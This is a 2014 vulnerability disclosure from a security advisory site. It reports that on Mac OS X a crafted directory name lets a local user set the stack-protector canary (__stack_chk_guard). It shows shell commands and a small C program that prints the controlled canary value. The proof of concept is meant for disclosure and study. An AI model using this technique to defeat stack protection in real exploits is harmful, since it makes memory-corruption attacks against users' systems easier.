Mac OS X stack_chk_guard not always safe from overwrite

2014.05.18
Credit: rai
Risk: Medium
Local: Yes
Remote: No
CVE: N/A
CWE: N/A

Hi, $ sysctl kern.version kern.version: Darwin Kernel Version 13.1.0: Wed Apr 2 23:52:02 PDT 2014; root:xnu-2422.92.1~2/RELEASE_X86_64 $ mkdir stack_guard=0x4141414141414141 $ ln -sf ../appledump stack_guard=0x4141414141414141/link $ stack_guard=0x4141414141414141/link string(0): string(1): string(2): stack_guard=0x7600c0a70d1184c5 string(3): __stack_chk_guard: 4141414141414141 </bash> source: http://maker.fea.st/appledump.c #include <stdio.h> extern long __stack_chk_guard[8]; int main(int argc, char **argv, char **envp, char **apple) { int i; for (i=0; apple[i]; i++) { printf("string(%u): %s\n", i, apple[i]); } printf("\n\n__stack_chk_guard: %016lx\n", *(long *)__stack_chk_guard); } All credit due to the anon pastebin poster. -- rai

References:

http://maker.fea.st/appledump.c


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top